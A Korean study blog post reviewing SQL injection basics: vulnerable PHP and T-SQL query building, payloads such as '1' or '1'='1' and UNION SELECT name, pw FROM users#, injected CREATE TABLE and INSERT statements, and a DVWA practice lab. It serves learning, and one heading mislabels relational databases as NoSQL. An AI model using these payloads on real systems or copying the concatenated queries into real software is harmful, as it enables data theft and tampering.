SQL Injection

mwaah·2023년 11월 17일
0

웹해킹 전체 세션 때 배웠던 내용을 떠올리며 다시 한 번 SQL Injection의 기본 개념과 기본 문법을 정리해 보았다!

  1. NoSQL

관계형 데이터베이스: 데이터를 열과 행의 구조로 테이블 형태로 데이터를 보관

 
  1. SQL Injection이란?

이 데이터베이스에 전송되는 SQL 쿼리문을 조작
=> 데이터를 변조 / 허가되지 않은 정보에 접근

예를 들자면,

 
  • 정상적인 SQL 쿼리문의 경우
$id = $_REQUEST['id'];
// 사용자가 ID를 입력
$query = "SELECT name, email FROM users WHERE id = '$id';";
// 해당 아이디를 검색, 있다면 결과를 사용자에게 전송

와 같이 입력되지만,

  • 사용자의 정보가 노출되는 쿼리문의 경우 (1)
    : 1' or '1'='1을 입력할 시
SELECT name, email FROM users WHERE ID='1' or '1'='1';
// WHERE 문이 항상 true가 되어버림
// 데이터베이스 내의 모든 사용자의 정보가 노출된다
  • 사용자의 정보가 노출되는 쿼리문의 경우 (2)
    : 1' UNION SELECT name, pw FROM users#
SELECT name, email FROM users WHERE id = '1' UNION SELECT name, pw FROM users#'

** UNION: 2개 이상의 쿼리를 한번에 요청하여 그 결과를 하나의 테이블에 합쳐서 출력해주는 연산자

  1. SQL 공격 기법의 종류
  • Error based SQL Injection

: 논리적 에러를 이용한 방법

상단의 경우와 같이 OR 1=1 -- 이라는 내용을 주입하였다.

// OR 1=1 => WHERE 절을 모두 참으로 만듦.
// -- => 구문을 주석처리함.
  • Blind SQL Injection
    - boolean based
    - time based

와 같은 종류가 더 존재하나, Error based SQL Injection에 이용되는 문법을 살펴보자.

UNION

UNION: 두 dataset을 결합하는 명령어

-- declare variables (for query and input parameters)
DECLARE 
    @sql NVARCHAR(MAX),
    @id NVARCHAR(MAX);
 
-- run query using parameters(s)
SET @id = N'2';
SET @sql = N'SELECT id, customer_name FROM customer WHERE id = ' + @id;
EXEC sp_executesql @sql;
 
-- run query using parameters(s) with added SQL injection code
SET @id = N'2 UNION SELECT id, first_name + '' '' + last_name FROM employee';
// 매개변수 값 외 추가된 부분
// customer table 한 행, employee table 모든 행 포함

SET @sql = N'SELECT id, customer_name FROM customer WHERE id = ' + @id;
EXEC sp_executesql @sql;

첫 번째 쿼리: 반환했어야 할 것을 정확히 반환함
두 번째 쿼리: 악성 코드가 사용됨

이와 같이 UNION을 사용하여 사용자의 개인정보를 알아낼 수 있다.

CREATE / DROP

UNION을 통해 개인정보를 탈취한다면, CREATE / DROP을 통해 직접 정보를 바꿔버릴 수 있다.

DDL 명령을 수행하여 데이터베이스 개체를 변경하는 방법을 사용한다.

-- declare variables (for query and input parameters)
DECLARE 
    @sql NVARCHAR(MAX),
    @id NVARCHAR(MAX);
 
-- run query using parameters(s)
SET @id = N'2';
SET @sql = N'SELECT * FROM customer WHERE id = ' + @id;
EXEC sp_executesql @sql;
 
-- run query using parameters(s) with added SQL injection code
SET @id = N'2; CREATE TABLE sql_injection (id INT);';
SET @sql = N'SELECT * FROM customer WHERE id = ' + @id;
EXEC sp_executesql @sql;

위와 비슷한 경우이지만, 차이점은 CREATE TABLE – '2; CREATE TABLE sq_injection (id INT);' 이 사용되었다는 점이다.

=> 테이블이 '데이터베이스'에 생성됨

INSERT / UPDATE / DELETE

위 명령어를 통해서는 데이터베이스에 개체를 추가할 수도 있다.

-- declare variables (for query and input parameters)
DECLARE 
    @sql NVARCHAR(MAX),
    @id NVARCHAR(MAX);
// 원하는 고객의 정보를 반환
 
-- run query using parameters(s)
SET @id = N'2';
SET @sql = N'SELECT * FROM customer WHERE id = ' + @id;
EXEC sp_executesql @sql;
// 데이터베이스에 새로운 고객 추가
 
-- run query using parameters(s) with added SQL injection code
SET @id = N'2; INSERT INTO employee(first_name, last_name) VALUES(''sql'', ''injection'');';
SET @sql = N'SELECT * FROM customer WHERE id = ' + @id;
EXEC sp_executesql @sql;
 // 성공적으로 추가가 이루어졌는지 확인
 
SELECT * FROM employee;

DVWA 실습

DVWA 모의 웹해킹 프로그램을 통해 실습해 보았다.


' 입력 시,

와 같은 문구가 뜨면 취약 서버라는 것이다.


WHERE 구문을 사용해 보면,

전체 사용자의 정보가 출력된다.

0개의 댓글